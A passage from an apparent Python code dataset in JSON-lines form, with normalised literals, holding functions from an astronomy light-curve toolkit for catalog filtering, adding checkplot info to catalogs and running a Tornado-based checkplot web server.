tqdm(filteredlcfnames)<EOL><DEDENT>else:<EOL><INDENT>lciter = filteredlcfnames<EOL><DEDENT>LOGINFO('<STR_LIT>' % copylcsto)<EOL>for lc in lciter:<EOL><INDENT>shutil.copy(lc, copylcsto)<EOL><DEDENT><DEDENT>LOGINFO('<STR_LIT>' % filteredobjectids.size)<EOL>if xmatchexternal and len(ext_matching_objects) > <NUM_LIT:0>:<EOL><INDENT>return filteredlcfnames, filteredobjectids, ext_matching_objects<EOL><DEDENT>else:<EOL><INDENT>return filteredlcfnames, filteredobjectids<EOL><DEDENT>", "docstring": "This is used to perform cone-search, cross-match, and column-filter\n    operations on a light curve catalog generated by `make_lclist`.\n\n    Uses the output of `make_lclist` above. This function returns a list of\n    light curves matching various criteria specified by the `xmatchexternal`,\n    `conesearch`, and `columnfilters kwargs`. Use this function to generate\n    input lists for other lcproc functions,\n    e.g. `lcproc.lcvfeatures.parallel_varfeatures`,\n    `lcproc.periodfinding.parallel_pf`, and `lcproc.lcbin.parallel_timebin`,\n    among others.\n\n    The operations are applied in this order if more than one is specified:\n    `xmatchexternal` -> `conesearch` -> `columnfilters`. All results from these\n    operations are joined using a logical AND operation.\n\n    Parameters\n    ----------\n\n    objectidcol : str\n        This is the name of the object ID column in the light curve catalog.\n\n    racol : str\n        This is the name of the RA column in the light curve catalog.\n\n    declcol : str\n        This is the name of the Dec column in the light curve catalog.\n\n    xmatchexternal : str or None\n        If provided, this is the filename of a text file containing objectids,\n        ras and decs to match the objects in the light curve catalog to by their\n        positions.\n\n    xmatchdistarcsec : float\n        This is the distance in arcseconds to use when cross-matching to the\n        external catalog in `xmatchexternal`.\n\n    externalcolnums : sequence of int\n        This a list of the zero-indexed column numbers of columns to extract\n        from the external catalog file.\n\n    externalcolnames : sequence of str\n        This is a list of names of columns that will be extracted from the\n        external catalog file. This is the same length as\n        `externalcolnums`. These must contain the names provided as the\n        `objectid`, `ra`, and `decl` column names so this function knows which\n        column numbers correspond to those columns and can use them to set up\n        the cross-match.\n\n    externalcoldtypes : str\n        This is a CSV string containing numpy dtype definitions for all columns\n        listed to extract from the external catalog file. The number of dtype\n        definitions should be equal to the number of columns to extract.\n\n    externalcolsep : str or None\n        The column separator to use when extracting columns from the external\n        catalog file. If None, any whitespace between columns is used as the\n        separator.\n\n    externalcommentchar : str\n        The character indicating that a line in the external catalog file is to\n        be ignored.\n\n    conesearch : list of float\n\n        This is used to specify cone-search parameters. It should be a three\n        element list:\n\n        [center_ra_deg, center_decl_deg, search_radius_deg]\n\n    conesearchworkers : int\n        The number of parallel workers to launch for the cone-search operation.\n\n    columnfilters : list of str\n\n        This is a list of strings indicating any filters to apply on each column\n        in the light curve catalog. All column filters are applied in the\n        specified sequence and are combined with a logical AND operator. The\n        format of each filter string should be:\n\n        '<lc_catalog column>|<operator>|<operand>'\n\n        where:\n\n        - <lc_catalog column> is a column in the lc_catalog pickle file\n        - <operator> is one of: 'lt', 'gt', 'le', 'ge', 'eq', 'ne', which\n          correspond to the usual operators: <, >, <=, >=, ==, != respectively.\n        - <operand> is a float, int, or string.\n\n    field_fitsfile : str or None\n        If this is not None, it should be the path to a FITS image containing\n        the objects these light curves are for. If this is provided,\n        `make_lclist` will use the WCS information in the FITS itself if\n        `field_wcsfrom` is None (or from a WCS header file pointed to by\n        `field_wcsfrom`) to obtain x and y pixel coordinates for all of the\n        objects in the field. A finder chart will also be made using\n        `astrobase.plotbase.fits_finder_chart` using the corresponding\n        `field_scale`, `_stretch`, `_colormap`, `_findersize`, `_pltopts`,\n        `_grid`, and `_gridcolors` kwargs for that function, reproduced here to\n        enable customization of the finder chart plot.\n\n    field_wcsfrom : str or None\n        If `wcsfrom` is None, the WCS to transform the RA/Dec to pixel x/y will\n        be taken from the FITS header of `fitsfile`. If this is not None, it\n        must be a FITS or similar file that contains a WCS header in its first\n        extension.\n\n    field_scale : astropy.visualization.Interval object\n        `scale` sets the normalization for the FITS pixel values. This is an\n        astropy.visualization Interval object.\n        See http://docs.astropy.org/en/stable/visualization/normalization.html\n        for details on `scale` and `stretch` objects.\n\n    field_stretch : astropy.visualization.Stretch object\n        `stretch` sets the stretch function for mapping FITS pixel values to\n        output pixel values. This is an astropy.visualization Stretch object.\n        See http://docs.astropy.org/en/stable/visualization/normalization.html\n        for details on `scale` and `stretch` objects.\n\n    field_colormap : matplotlib Colormap object\n        `colormap` is a matplotlib color map object to use for the output image.\n\n    field_findersize : None or tuple of two ints\n        If `findersize` is None, the output image size will be set by the NAXIS1\n        and NAXIS2 keywords in the input `fitsfile` FITS header. Otherwise,\n        `findersize` must be a tuple with the intended x and y size of the image\n        in inches (all output images will use a DPI = 100).\n\n    field_pltopts : dict\n        `field_pltopts` controls how the overlay points will be plotted. This\n        a dict with standard matplotlib marker, etc. kwargs as key-val pairs,\n        e.g. 'markersize', 'markerfacecolor', etc. The default options make red\n        outline circles at the location of each object in the overlay.\n\n    field_grid : bool\n        `grid` sets if a grid will be made on the output image.\n\n    field_gridcolor : str\n        `gridcolor` sets the color of the grid lines. This is a usual matplotib\n        color spec string.\n\n    field_zoomcontain : bool\n        `field_zoomcontain` controls if the finder chart will be zoomed to\n        just contain the overlayed points. Everything outside the footprint of\n        these points will be discarded.\n\n    copylcsto : str\n        If this is provided, it is interpreted as a directory target to copy\n        all the light curves that match the specified conditions.\n\n    Returns\n    -------\n\n    tuple\n        Returns a two elem tuple: (matching_object_lcfiles, matching_objectids)\n        if conesearch and/or column filters are used. If `xmatchexternal` is\n        also used, a three-elem tuple is returned: (matching_object_lcfiles,\n        matching_objectids, extcat_matched_objectids).", "id": "f14709:m3"}
{"signature": "def _cpinfo_key_worker(task):", "body": "cpfile, keyspeclist = task<EOL>keystoget = [x[<NUM_LIT:0>] for x in keyspeclist]<EOL>nonesubs = [x[-<NUM_LIT:2>] for x in keyspeclist]<EOL>nansubs = [x[-<NUM_LIT:1>] for x in keyspeclist]<EOL>for i, k in enumerate(keystoget):<EOL><INDENT>thisk = k.split('<STR_LIT:.>')<EOL>if sys.version_info[:<NUM_LIT:2>] < (<NUM_LIT:3>,<NUM_LIT:4>):<EOL><INDENT>thisk = [(int(x) if x.isdigit() else x) for x in thisk]<EOL><DEDENT>else:<EOL><INDENT>thisk = [(int(x) if x.isdecimal() else x) for x in thisk]<EOL><DEDENT>keystoget[i] = thisk<EOL><DEDENT>keystoget.insert(<NUM_LIT:0>,['<STR_LIT>'])<EOL>nonesubs.insert(<NUM_LIT:0>, '<STR_LIT>')<EOL>nansubs.insert(<NUM_LIT:0>,'<STR_LIT>')<EOL>vals = checkplot_infokey_worker((cpfile, keystoget))<EOL>for val, nonesub, nansub, valind in zip(vals, nonesubs,<EOL>nansubs, range(len(vals))):<EOL><INDENT>if val is None:<EOL><INDENT>outval = nonesub<EOL><DEDENT>elif isinstance(val, float) and not np.isfinite(val):<EOL><INDENT>outval = nansub<EOL><DEDENT>elif isinstance(val, (list, tuple)):<EOL><INDENT>outval = '<STR_LIT:U+002CU+0020>'.join(val)<EOL><DEDENT>else:<EOL><INDENT>outval = val<EOL><DEDENT>vals[valind] = outval<EOL><DEDENT>return vals<EOL>", "docstring": "This wraps `checkplotlist.checkplot_infokey_worker`.\n\n    This is used to get the correct dtype for each element in retrieved results.\n\n    Parameters\n    ----------\n\n    task : tuple\n        task[0] = cpfile\n        task[1] = keyspeclist (infokeys kwarg from `add_cpinfo_to_lclist`)\n\n    Returns\n    -------\n\n    dict\n        All of the requested keys from the checkplot are returned along with\n        their values in a dict.", "id": "f14709:m4"}
{"signature": "def add_cpinfo_to_lclist(<EOL>checkplots,  <EOL>initial_lc_catalog,<EOL>magcol,  <EOL>outfile,<EOL>checkplotglob='<STR_LIT>',<EOL>infokeys=CPINFO_DEFAULTKEYS,<EOL>nworkers=NCPUS<EOL>):", "body": "<EOL>if not isinstance(checkplots, list) and os.path.exists(checkplots):<EOL><INDENT>checkplots = sorted(glob.glob(os.path.join(checkplots, checkplotglob)))<EOL><DEDENT>tasklist = [(cpf, infokeys) for cpf in checkplots]<EOL>with ProcessPoolExecutor(max_workers=nworkers) as executor:<EOL><INDENT>resultfutures = executor.map(_cpinfo_key_worker, tasklist)<EOL><DEDENT>results = [x for x in resultfutures]<EOL>executor.shutdown()<EOL>with open(initial_lc_catalog,'<STR_LIT:rb>') as infd:<EOL><INDENT>lc_catalog = pickle.load(infd)<EOL><DEDENT>catalog_objectids = np.array(lc_catalog['<STR_LIT>']['<STR_LIT>'])<EOL>checkplot_objectids = np.array([x[<NUM_LIT:0>] for x in results])<EOL>extrainfokeys = []<EOL>actualkeys = []<EOL>for keyspec in infokeys:<EOL><INDENT>key, dtype, firstlevel, overwrite_append, nonesub, nansub = keyspec<EOL>if firstlevel:<EOL><INDENT>eik = key<EOL><DEDENT>else:<EOL><INDENT>eik = '<STR_LIT>' % (magcol, key)<EOL><DEDENT>extrainfokeys.append(eik)<EOL>eactual = eik.split('<STR_LIT:.>')<EOL>if not eactual[-<NUM_LIT:1>].isdigit():<EOL><INDENT>if not firstlevel:<EOL><INDENT>eactual = '<STR_LIT:.>'.join([eactual[<NUM_LIT:0>], eactual[-<NUM_LIT:1>]])<EOL><DEDENT>else:<EOL><INDENT>eactual = eactual[-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>elastkey = eactual[-<NUM_LIT:2>]<EOL>if elastkey.endswith('<STR_LIT>'):<EOL><INDENT>elastkey = elastkey[:-<NUM_LIT:2>]<EOL><DEDENT>elif elastkey.endswith('<STR_LIT:s>'):<EOL><INDENT>elastkey = elastkey[:-<NUM_LIT:1>]<EOL><DEDENT>if not firstlevel:<EOL><INDENT>eactual = '<STR_LIT:.>'.join([eactual[<NUM_LIT:0>], elastkey])<EOL><DEDENT>else:<EOL><INDENT>eactual = elastkey<EOL><DEDENT><DEDENT>actualkeys.append(eactual)<EOL>if eactual not in lc_catalog['<STR_LIT>']:<EOL><INDENT>lc_catalog['<STR_LIT>'].append(eactual)<EOL><DEDENT>lc_catalog['<STR_LIT>'][eactual] = []<EOL><DEDENT>for catobj in tqdm(catalog_objectids):<EOL><INDENT>cp_objind = np.where(checkplot_objectids == catobj)<EOL>if len(cp_objind[<NUM_LIT:0>]) > <NUM_LIT:0>:<EOL><INDENT>thiscpinfo = results[cp_objind[<NUM_LIT:0>][<NUM_LIT:0>]]<EOL>thiscpinfo = thiscpinfo[<NUM_LIT:1>:]<EOL>for ekind, ek in enumerate(actualkeys):<EOL><INDENT>lc_catalog['<STR_LIT>'][ek].append(<EOL>thiscpinfo[ekind]<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for ekind, ek in enumerate(actualkeys):<EOL><INDENT>thiskeyspec = infokeys[ekind]<EOL>nonesub = thiskeyspec[-<NUM_LIT:2>]<EOL>lc_catalog['<STR_LIT>'][ek].append(<EOL>nonesub<EOL>)<EOL><DEDENT><DEDENT><DEDENT>for ek in actualkeys:<EOL><INDENT>lc_catalog['<STR_LIT>'][ek] = np.array(<EOL>lc_catalog['<STR_LIT>'][ek]<EOL>)<EOL><DEDENT>if '<STR_LIT>' in lc_catalog:<EOL><INDENT>if magcol not in lc_catalog['<STR_LIT>']:<EOL><INDENT>lc_catalog['<STR_LIT>'].append(magcol)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>lc_catalog['<STR_LIT>'] = [magcol]<EOL><DEDENT>with open(outfile, '<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(lc_catalog, outfd, protocol=pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>return outfile<EOL>", "docstring": "This adds checkplot info to the initial light curve catalogs generated by\n    `make_lclist`.\n\n    This is used to incorporate all the extra info checkplots can have for\n    objects back into columns in the light curve catalog produced by\n    `make_lclist`. Objects are matched between the checkplots and the light\n    curve catalog using their `objectid`. This then allows one to search this\n    'augmented' light curve catalog by these extra columns. The 'augmented'\n    light curve catalog also forms the basis for search interface provided by\n    the LCC-Server.\n\n    The default list of keys that will be extracted from a checkplot and added\n    as columns in the initial light curve catalog is listed above in the\n    `CPINFO_DEFAULTKEYS` list.\n\n    Parameters\n    ----------\n\n    checkplots : str or list\n        If this is a str, is interpreted as a directory which will be searched\n        for checkplot pickle files using `checkplotglob`. If this is a list, it\n        will be interpreted as a list of checkplot pickle files to process.\n\n    initial_lc_catalog : str\n        This is the path to the light curve catalog pickle made by\n        `make_lclist`.\n\n    magcol : str\n        This is used to indicate the light curve magnitude column to extract\n        magnitude column specific information. For example, Stetson variability\n        indices can be generated using magnitude measurements in separate\n        photometric apertures, which appear in separate `magcols` in the\n        checkplot. To associate each such feature of the object with its\n        specific `magcol`, pass that `magcol` in here. This `magcol` will then\n        be added as a prefix to the resulting column in the 'augmented' LC\n        catalog, e.g. Stetson J will appear as `magcol1_stetsonj` and\n        `magcol2_stetsonj` for two separate magcols.\n\n    outfile : str\n        This is the file name of the output 'augmented' light curve catalog\n        pickle file that will be written.\n\n    infokeys : list of tuples\n\n        This is a list of keys to extract from the checkplot and some info on\n        how this extraction is to be done. Each key entry is a six-element\n        tuple of the following form:\n\n        - key name in the checkplot\n        - numpy dtype of the value of this key\n        - False if key is associated with a magcol or True otherwise\n        - False if subsequent updates to the same column name will append to\n          existing key values in the output augmented light curve catalog or\n          True if these will overwrite the existing key value\n        - character to use to substitute a None value of the key in the\n          checkplot in the output light curve catalog column\n        - character to use to substitute a nan value of the key in the\n          checkplot in the output light curve catalog column\n\n        See the `CPFINFO_DEFAULTKEYS` list above for examples.\n\n    nworkers : int\n        The number of parallel workers to launch to extract checkplot\n        information.\n\n    Returns\n    -------\n\n    str\n        Returns the path to the generated 'augmented' light curve catalog pickle\n        file.", "id": "f14709:m5"}
{"signature": "def _recv_sigint(signum, stack):", "body": "raise KeyboardInterrupt<EOL>", "docstring": "handler function to receive and process a SIGINT", "id": "f14710:m0"}
{"signature": "def main():", "body": "<EOL>tornado.options.parse_command_line()<EOL>DEBUG = True if options.debugmode == <NUM_LIT:1> else False<EOL>LOGGER = logging.getLogger('<STR_LIT>')<EOL>if DEBUG:<EOL><INDENT>LOGGER.setLevel(logging.DEBUG)<EOL><DEDENT>else:<EOL><INDENT>LOGGER.setLevel(logging.INFO)<EOL><DEDENT>MAXPROCS = options.maxprocs<EOL>ASSETPATH = options.assetpath<EOL>BASEURL = options.baseurl<EOL>EXECUTOR = ProcessPoolExecutor(MAXPROCS)<EOL>if options.standalone:<EOL><INDENT>if ( (not options.sharedsecret) or<EOL>(options.sharedsecret and<EOL>not os.path.exists(options.sharedsecret)) ):<EOL><INDENT>LOGGER.error('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>elif options.sharedsecret and os.path.exists(options.sharedsecret):<EOL><INDENT>fileperm = oct(os.stat(options.sharedsecret)[stat.ST_MODE])<EOL>if fileperm == '<STR_LIT>' or fileperm == '<STR_LIT>':<EOL><INDENT>with open(options.sharedsecret,'<STR_LIT:r>') as infd:<EOL><INDENT>SHAREDSECRET = infd.read().strip('<STR_LIT:\\n>')<EOL>standalonespec = (<EOL>r'<STR_LIT>',<EOL>cphandlers.StandaloneHandler,<EOL>{'<STR_LIT>':EXECUTOR,<EOL>'<STR_LIT>':SHAREDSECRET}<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGGER.error('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGGER.error('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>options.sharedsecret)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>HANDLERS = [standalonespec]<EOL><DEDENT>else:<EOL><INDENT>if not BASEURL.endswith('<STR_LIT:/>'):<EOL><INDENT>BASEURL = BASEURL + '<STR_LIT:/>'<EOL><DEDENT>READONLY = options.readonly<EOL>if READONLY:<EOL><INDENT>LOGGER.warning('<STR_LIT>')<EOL><DEDENT>CURRENTDIR = os.getcwd()<EOL>cplistfile = options.checkplotlist<EOL>if cplistfile and os.path.exists(cplistfile):<EOL><INDENT>with open(cplistfile,'<STR_LIT:r>') as infd:<EOL><INDENT>CHECKPLOTLIST = json.load(infd)<EOL><DEDENT>LOGGER.info('<STR_LIT>' % cplistfile)<EOL><DEDENT>elif cplistfile and not os.path.exists(cplistfile):<EOL><INDENT>helpmsg = (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" %<EOL>(cplistfile, os.path.join(modpath,'<STR_LIT>'))<EOL>)<EOL>LOGGER.error(helpmsg)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>LOGGER.warning('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % CURRENTDIR)<EOL>if os.path.exists(<EOL>os.path.join(CURRENTDIR,'<STR_LIT>')<EOL>):<EOL><INDENT>cplistfile = os.path.join(CURRENTDIR,'<STR_LIT>')<EOL>with open(cplistfile,'<STR_LIT:r>') as infd:<EOL><INDENT>CHECKPLOTLIST = json.load(infd)<EOL><DEDENT>LOGGER.info('<STR_LIT>' % cplistfile)<EOL><DEDENT>elif os.path.exists(os.path.join(CURRENTDIR,<EOL>'<STR_LIT>')):<EOL><INDENT>cplistfile = os.path.join(CURRENTDIR,<EOL>'<STR_LIT>')<EOL>with open(cplistfile,'<STR_LIT:r>') as infd:<EOL><INDENT>CHECKPLOTLIST = json.load(infd)<EOL><DEDENT>LOGGER.info('<STR_LIT>' % cplistfile)<EOL><DEDENT>else:<EOL><INDENT>helpmsg = (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL>LOGGER.error(helpmsg)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>HANDLERS = [<EOL>(r'<STR_LIT>'.format(baseurl=BASEURL),<EOL>cphandlers.IndexHandler,<EOL>{'<STR_LIT>':CURRENTDIR,<EOL>'<STR_LIT>':ASSETPATH,<EOL>'<STR_LIT>':CHECKPLOTLIST,<EOL>'<STR_LIT>':cplistfile,<EOL>'<STR_LIT>':EXECUTOR,<EOL>'<STR_LIT>':READONLY,<EOL>'<STR_LIT>':BASEURL}),<EOL>(r'<STR_LIT>'.format(baseurl=BASEURL),<EOL>cphandlers.CheckplotHandler,<EOL>{'<STR_LIT>':CURRENTDIR,<EOL>'<STR_LIT>':ASSETPATH,<EOL>'<STR_LIT>':CHECKPLOTLIST,<EOL>'<STR_LIT>':cplistfile,<EOL>'<STR_LIT>':EXECUTOR,<EOL>'<STR_LIT>':READONLY}),<EOL>(r'<STR_LIT>'.format(baseurl=BASEURL),<EOL>cphandlers.CheckplotListHandler,<EOL>{'<STR_LIT>':CURRENTDIR,<EOL>'<STR_LIT>':ASSETPATH,<EOL>'<STR_LIT>':CHECKPLOTLIST,<EOL>'<STR_LIT>':cplistfile,<EOL>'<STR_LIT>':EXECUTOR,<EOL>'<STR_LIT>':READONLY}),<EOL>(r'<STR_LIT>'.format(baseurl=BASEURL),<EOL>cphandlers.LCToolHandler,<EOL>{'<STR_LIT>':CURRENTDIR,<EOL>'<STR_LIT>':ASSETPATH,<EOL>'<STR_LIT>':CHECKPLOTLIST,<EOL>'<STR_LIT>':cplistfile,<EOL>'<STR_LIT>':EXECUTOR,<EOL>'<STR_LIT>':READONLY}),<EOL>(r'<STR_LIT>'.format(baseurl=BASEURL),<EOL>tornado.web.StaticFileHandler, {'<STR_LIT:path>': CURRENTDIR})<EOL>]<EOL><DEDENT>app = tornado.web.Application(<EOL>handlers=HANDLERS,<EOL>static_path=ASSETPATH,<EOL>template_path=ASSETPATH,<EOL>static_url_prefix='<STR_LIT>'.format(baseurl=BASEURL),<EOL>compress_response=True,<EOL>debug=DEBUG,<EOL>)<EOL>http_server = tornado.httpserver.HTTPServer(app, xheaders=True)<EOL>portok = False<EOL>serverport = options.port<EOL>maxtrys = <NUM_LIT:5><EOL>thistry = <NUM_LIT:0><EOL>while not portok and thistry < maxtrys:<EOL><INDENT>try:<EOL><INDENT>http_server.listen(serverport, options.serve)<EOL>portok = True<EOL><DEDENT>except socket.error as e:<EOL><INDENT>LOGGER.warning('<STR_LIT>' %<EOL>(options.serve, serverport, serverport + <NUM_LIT:1>))<EOL>serverport = serverport + <NUM_LIT:1><EOL><DEDENT><DEDENT>if not portok:<EOL><INDENT>LOGGER.error('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>LOGGER.info('<STR_LIT>' %<EOL>(options.serve, serverport, BASEURL))<EOL>signal.signal(signal.SIGINT,_recv_sigint)<EOL>signal.signal(signal.SIGTERM,_recv_sigint)<EOL>try:<EOL><INDENT>tornado.ioloop.IOLoop.instance().start()<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>LOGGER.info('<STR_LIT>')<EOL>tornado.ioloop.IOLoop.instance().stop()<EOL><DEDENT>EXECUTOR.shutdown()<EOL>time.sleep(<NUM_LIT:3>)<EOL>", "docstring": "This launches the server. The current script args are shown below::\n\n  Usage: checkplotserver [OPTIONS]\n\n  Options:\n\n    --help                           show this help information\n\n  checkplotserver.py options:\n\n    --assetpath                      Sets the asset (server images, css, js, DB)\n                                     path for checkplotserver.\n                                     (default <astrobase install dir>\n                                      /astrobase/cpserver/cps-assets)\n    --baseurl                        Set the base URL of the checkplotserver.\n                                     This is useful when you're running\n                                     checkplotserver on a remote machine and are\n                                     reverse-proxying more than one instances of\n                                     it so you can access them using HTTP from\n                                     outside on different base URLs like\n                                     /cpserver1/, /cpserver2/, etc. If this is\n                                     set, all URLs will take the form\n                                     [baseurl]/..., instead of /... (default /)\n    --checkplotlist                  The path to the checkplot-filelist.json file\n                                     listing checkplots to load and serve. If\n                                     this is not provided, checkplotserver will\n                                     look for a checkplot-pickle-flist.json in\n                                     the directory that it was started in\n    --debugmode                      start up in debug mode if set to 1. (default\n                                     0)\n    --maxprocs                       Number of background processes to use for\n                                     saving/loading checkplot files and running\n                                     light curves tools (default 2)\n    --port                           Run on the given port. (default 5225)\n    --readonly                       Run the server in readonly mode. This is\n                                     useful for a public-facing instance of\n                                     checkplotserver where you just want to allow\n                                     collaborators to review objects but not edit\n                                     them. (default False)\n    --serve                          Bind to given address and serve content.\n                                     (default 127.0.0.1)\n    --sharedsecret                   a file containing a cryptographically secure\n                                     string that is used to authenticate requests\n                                     that come into the special standalone mode.\n    --standalone                     This starts the server in standalone mode.\n                                     (default 0)\n\n  tornado/log.py options:\n\n    --log-file-max-size              max size of log files before rollover\n                                     (default 100000000)\n    --log-file-num-backups           number of log files to keep (default 10)\n    --log-file-prefix=PATH           Path prefix for log files. Note that if you\n                                     are running multiple tornado processes,\n                                     log_file_prefix must be different for each\n                                     of them (e.g. include the port number)\n    --log-rotate-interval            The interval value of timed rotating\n                                     (default 1)\n    --log-rotate-mode                The mode of rotating files(time or size)\n                                     (default size)\n    --log-rotate-when                specify the type of TimedRotatingFileHandler\n                                     interval other options:('S', 'M', 'H', 'D',\n                                     'W0'-'W6') (default midnight)\n    --log-to-stderr                  Send log output to stderr (colorized if\n                                     possible). By default use stderr if\n                                     --log_file_prefix is not set and no other\n                                     logging is configured.\n    --logging=debug|info|warning|error|none\n                                     Set the Python log level. If 'none', tornado\n                                     won't touch the logging configuration.\n                                     (default info)", "id": "f14710:m1"}
{"signature": "def _time_independent_equals(a, b):", "body": "if len(a) != len(b):<EOL><INDENT>return False<EOL><DEDENT>result = <NUM_LIT:0><EOL>if isinstance(a[<NUM_LIT:0>], int):  <EOL><INDENT>for x, y in zip(a, b):<EOL><INDENT>result |= x ^ y<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>for x, y in zip(a, b):<EOL><INDENT>result |= ord(x) ^ ord(y)<EOL><DEDENT><DEDENT>return result == <NUM_LIT:0><EOL>", "docstring": "This compares two values in constant time.\n\nTaken from tornado:\n\nhttps://github.com/tornadoweb/tornado/blob/\nd4eb8eb4eb5cc9a6677e9116ef84ded8efba8859/tornado/web.py#L3060", "id": "f14711:m0"}
{"signature": "def default(self, obj):", "body": "if isinstance(obj, np.ndarray):<EOL><INDENT>return obj.tolist()<EOL><DEDENT>elif isinstance(obj, bytes):<EOL><INDENT>return obj.decode()<EOL><DEDENT>elif isinstance(obj, complex):<EOL><INDENT>return (obj.real, obj.imag)<EOL><DEDENT>elif (isinstance(obj, (float, np.float64, np.float_)) and<EOL>not np.isfinite(obj)):<EOL><INDENT>return None<EOL><DEDENT>elif isinstance(obj, (np.int8, np.int16, np.int32, np.int64)):<EOL><INDENT>return int(obj)<EOL><DEDENT>else:<EOL><INDENT>return json.JSONEncoder.default(self, obj)<EOL><DEDENT>", "docstring": "Overrides the default serializer for `JSONEncoder`.\n\n        This can serialize the following objects in addition to what\n        `JSONEncoder` can already do.\n\n        - `np.array`\n        - `bytes`\n        - `complex`\n        - `np.float64` and other `np.dtype` objects\n\n        Parameters\n        ----------\n\n        obj : object\n            A Python object to serialize to JSON.\n\n        Returns\n        -------\n\n        str\n            A JSON encoded representation of the input object.", "id": "f14711:c0:m0"}
{"signature": "def initialize(self, currentdir, assetpath, cplist,<EOL>cplistfile, executor, readonly, baseurl):", "body": "self.currentdir = currentdir<EOL>self.assetpath = assetpath<EOL>self.currentproject = cplist<EOL>self.cplistfile = cplistfile<EOL>self.executor = executor<EOL>self.readonly = readonly<EOL>self.baseurl = baseurl<EOL>", "docstring": "handles initial setup.", "id": "f14711:c1:m0"}
{"signature": "def get(self):", "body": "<EOL>project_checkplots = self.currentproject['<STR_LIT>']<EOL>project_checkplotbasenames = [os.path.basename(x)<EOL>for x in project_checkplots]<EOL>project_checkplotindices = range(len(project_checkplots))<EOL>project_cpsortkey = self.currentproject['<STR_LIT>']<EOL>if self.currentproject['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>project_cpsortorder = '<STR_LIT>'<EOL><DEDENT>elif self.currentproject['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>project_cpsortorder = '<STR_LIT>'<EOL><DEDENT>project_cpfilterstatements = self.currentproject['<STR_LIT>']<EOL>self.render('<STR_LIT>',<EOL>project_checkplots=project_checkplots,<EOL>project_cpsortorder=project_cpsortorder,<EOL>project_cpsortkey=project_cpsortkey,<EOL>project_cpfilterstatements=project_cpfilterstatements,<EOL>project_checkplotbasenames=project_checkplotbasenames,<EOL>project_checkplotindices=project_checkplotindices,<EOL>project_checkplotfile=self.cplistfile,<EOL>readonly=self.readonly,<EOL>baseurl=self.baseurl)<EOL>", "docstring": "This handles GET requests to the index page.\n\n        TODO: provide the correct baseurl from the checkplotserver options dict,\n        so the frontend JS can just read that off immediately.", "id": "f14711:c1:m1"}
{"signature": "def initialize(self, currentdir, assetpath, cplist,<EOL>cplistfile, executor, readonly):", "body": "self.currentdir = currentdir<EOL>self.assetpath = assetpath<EOL>self.currentproject = cplist<EOL>self.cplistfile = cplistfile<EOL>self.executor = executor<EOL>self.readonly = readonly<EOL>", "docstring": "This handles initial setup of this `RequestHandler`.", "id": "f14711:c2:m0"}
{"signature": "@gen.coroutine<EOL><INDENT>def get(self, checkplotfname):<DEDENT>", "body": "if checkplotfname:<EOL><INDENT>self.checkplotfname = xhtml_escape(<EOL>base64.b64decode(url_unescape(checkplotfname))<EOL>)<EOL>if self.checkplotfname in self.currentproject['<STR_LIT>']:<EOL><INDENT>cpfpath = os.path.join(<EOL>os.path.abspath(os.path.dirname(self.cplistfile)),<EOL>self.checkplotfname<EOL>)<EOL>LOGGER.info('<STR_LIT>' % cpfpath)<EOL>if not os.path.exists(cpfpath):<EOL><INDENT>msg = \"<STR_LIT>\" % cpfpath<EOL>LOGGER.error(msg)<EOL>resultdict = {'<STR_LIT:status>':'<STR_LIT:error>',<EOL>'<STR_LIT:message>':msg,<EOL>'<STR_LIT:result>':None}<EOL>self.write(resultdict)<EOL>raise tornado.web.Finish()<EOL><DEDENT>cpdict = yield self.executor.submit(<EOL>_read_checkplot_picklefile, cpfpath<EOL>)<EOL>LOGGER.info('<STR_LIT>' % cpfpath)<EOL>objectid = cpdict['<STR_LIT>']<EOL>objectinfo = cpdict['<STR_LIT>']<EOL>varinfo = cpdict['<STR_LIT>']<EOL>if '<STR_LIT>' in cpdict:<EOL><INDENT>pfmethods = cpdict['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>pfmethods = []<EOL>for pfm in PFMETHODS:<EOL><INDENT>if pfm in cpdict:<EOL><INDENT>pfmethods.append(pfm)<EOL><DEDENT><DEDENT><DEDENT>neighbors = []<EOL>if ('<STR_LIT>' in cpdict and<EOL>cpdict['<STR_LIT>'] is not None and<EOL>len(cpdict['<STR_LIT>'])) > <NUM_LIT:0>:<EOL><INDENT>nbrlist = cpdict['<STR_LIT>']<EOL>for nbr in nbrlist:<EOL><INDENT>if '<STR_LIT>' in nbr:<EOL><INDENT>nbrmagdiffs = nbr['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>nbrmagdiffs = None<EOL><DEDENT>if '<STR_LIT>' in nbr:<EOL><INDENT>nbrcolordiffs = nbr['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>nbrcolordiffs = None<EOL><DEDENT>thisnbrdict = 